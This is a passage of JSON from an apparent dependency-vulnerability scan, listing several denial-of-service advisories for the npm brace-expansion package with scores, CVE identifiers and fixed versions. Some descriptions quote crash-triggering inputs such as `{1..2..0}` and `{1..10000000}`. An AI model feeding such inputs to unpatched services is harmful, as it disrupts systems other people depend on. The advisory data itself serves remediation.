"severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": 